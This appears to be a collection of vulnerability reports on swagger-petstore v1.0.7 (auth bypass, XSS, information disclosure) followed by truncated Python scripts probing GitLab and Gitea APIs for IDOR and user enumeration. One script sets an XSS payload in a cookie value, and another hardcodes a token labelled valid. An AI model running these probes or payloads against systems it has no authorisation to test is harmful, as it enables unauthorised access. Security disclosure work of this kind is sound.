HouqiyuA

[Description]:
An issue in petstore v1.0.7 allows a remote attacker to perform arbitrary delete operations via the DELETE /pet/{petId} endpoint by bypassing API key authentication.

[Vulnerability Type]:
Incorrect Access Control

[Vendor of Product]:
https://github.com/swagger-api/swagger-petstore

[Affected Product Code Base]:

HouqiyuA

[Description]:
Cross Site Scripting (XSS) vulnerability in petstore v1.0.7 allows a remote attacker to execute arbitrary code via a crafted script to the /api/v3/pet interface.

[Vulnerability Type]:
Cross Site Scripting (XSS)

[Vendor of Product]:
https://github.com/swagger-api/swagger-petstore

[Affected Product Code Base]:

HouqiyuA

[Description]:
An issue in petstore v1.0.7 allows a remote attacker to execute information disclosure via accessing a non-existent endpoint /cart. The server returns a 404-error page exposing sensitive information including the Servlet name (default) and server version.

[Vulnerability Type]:
Information Disclosure Vulnerability

[Vendor of Product]:
https://github.com/swagger-api/swagger-petstore

[Affected Product Code Base]:

HouqiyuA

import requests
import json
import time

def test_idor_vulnerabilities():
    host = "DEPLOYED_GITLAB_HOST"
    port = "DEPLOYED GITLAB_PORT"
    url = f"http://{host}:{port}/api/v4/ci/lint"

    headers = {

HouqiyuA

import requests
import json
import time

def test_extended_vulnerabilities():
    base_url = "http://GITLAB_HOST/api/v4/snippets"
    original_token = "7_pwYNpdf9HZAZr1pkEy"  # valid token

    headers = {
        "Accept": "application/json",

HouqiyuA

import requests
from urllib.parse import urljoin

# 配置目标地址和请求头
BASE_URL = "http://DEPLOYED_GITLAB_HOST"
ENDPOINT = "/api/v4/user/keys"
HEADERS = {
    "Accept": "application/json",
    "PRIVATE-TOKEN": "YOUR_TOKEN"
}

HouqiyuA

import requests
import json

def test_user_enumeration(base_url, token, start_id=1, end_id=10):
    """
    Test for user enumeration vulnerability by trying sequential user IDs
    :param base_url: Base API URL (e.g., 'http://192.168.126.129:9980')
    :param token: PRIVATE-TOKEN value
    :param start_id: Starting user ID to test
    :param end_id: Ending user ID to test

HouqiyuA

import requests


TARGET_URL = "http://GITEAHOST/"


cookies = {
    'lang': 'en-US"><script>alert("XSS")</script>'
}

HouqiyuA

import requests
import json
import time

# Target 
host = "192.168.126.129"
port = 3000
base_url = f"http://{host}:{port}"

# Original token from the sample

HouqiyuA

import requests

def test_error_handling():
    base_url = "http://DEVLOPMENT_HOST:3000/api/v1/user/keys"

    # Test cases for error handling analysis
    test_cases = [
        ("empty_auth_header", {"Authorization": ""}),
    ]